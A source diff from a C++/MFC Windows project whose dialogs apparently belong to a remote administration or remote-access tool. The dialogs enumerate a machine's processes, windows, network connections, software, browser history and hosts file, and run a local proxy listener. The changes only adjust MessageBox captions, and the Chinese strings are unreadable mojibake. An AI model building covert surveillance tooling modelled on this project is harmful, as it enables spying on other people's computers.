|||||||
|
|
||||||
CFile file;
|
CFile file;
|
||||||
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
|
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
|
||||||
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>");
|
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>"+dlg.GetPathName(), "<EFBFBD><EFBFBD>ʾ");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
// Write the DIB header and the bits
|
// Write the DIB header and the bits
|
||||||
|
|||||||
@@ -98,8 +98,8 @@ void CVideoDlg::SaveAvi(void)
|
|||||||
m_aviFile = dlg.GetPathName();
|
m_aviFile = dlg.GetPathName();
|
||||||
if (!m_aviStream.Open(m_aviFile, m_BitmapInfor_Full))
|
if (!m_aviStream.Open(m_aviFile, m_BitmapInfor_Full))
|
||||||
{
|
{
|
||||||
|
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>:"+m_aviFile, "<EFBFBD><EFBFBD>ʾ");
|
||||||
m_aviFile.Empty();
|
m_aviFile.Empty();
|
||||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>!");
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -58,7 +58,7 @@ BOOL CProxyMapDlg::OnInitDialog()
|
|||||||
// <20><><EFBFBD><EFBFBD>IPCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD>IPCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
m_nPort = 5543;
|
m_nPort = 5543;
|
||||||
if (!m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) {
|
if (!m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) {
|
||||||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
|
MessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
TCHAR ip[256] = {};
|
TCHAR ip[256] = {};
|
||||||
|
|||||||
@@ -865,7 +865,7 @@ void CMachineDlg::ShowProcessList_menu()
|
|||||||
Data += _T("\r\n");
|
Data += _T("\r\n");
|
||||||
}
|
}
|
||||||
SetClipboardText(Data);
|
SetClipboardText(Data);
|
||||||
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
|
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 200: {
|
case 200: {
|
||||||
@@ -1025,7 +1025,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
|||||||
Data += _T("\r\n");
|
Data += _T("\r\n");
|
||||||
}
|
}
|
||||||
SetClipboardText(Data);
|
SetClipboardText(Data);
|
||||||
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
|
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 200: {
|
case 200: {
|
||||||
@@ -1188,7 +1188,7 @@ void CMachineDlg::ShowNetStateList_menu()
|
|||||||
Data += _T("\r\n");
|
Data += _T("\r\n");
|
||||||
}
|
}
|
||||||
SetClipboardText(Data);
|
SetClipboardText(Data);
|
||||||
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
|
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 150: {
|
case 150: {
|
||||||
@@ -1245,7 +1245,7 @@ void CMachineDlg::ShowSoftWareList_menu()
|
|||||||
Data += _T("\r\n");
|
Data += _T("\r\n");
|
||||||
}
|
}
|
||||||
SetClipboardText(Data);
|
SetClipboardText(Data);
|
||||||
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
|
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 200: {
|
case 200: {
|
||||||
@@ -1315,7 +1315,7 @@ void CMachineDlg::ShowIEHistoryList_menu()
|
|||||||
Data += _T("\r\n");
|
Data += _T("\r\n");
|
||||||
}
|
}
|
||||||
SetClipboardText(Data);
|
SetClipboardText(Data);
|
||||||
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
|
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
@@ -1503,7 +1503,7 @@ void CMachineDlg::ShowFavoritesUrlList_menu()
|
|||||||
Data += _T("\r\n");
|
Data += _T("\r\n");
|
||||||
}
|
}
|
||||||
SetClipboardText(Data);
|
SetClipboardText(Data);
|
||||||
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
|
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
default:
|
default:
|
||||||
@@ -1611,7 +1611,7 @@ void CMachineDlg::ShowHostsList_menu()
|
|||||||
Data += _T("\r\n");
|
Data += _T("\r\n");
|
||||||
}
|
}
|
||||||
SetClipboardText(Data);
|
SetClipboardText(Data);
|
||||||
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
|
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 200: {
|
case 200: {
|
||||||
|
|||||||
Reference in New Issue
Block a user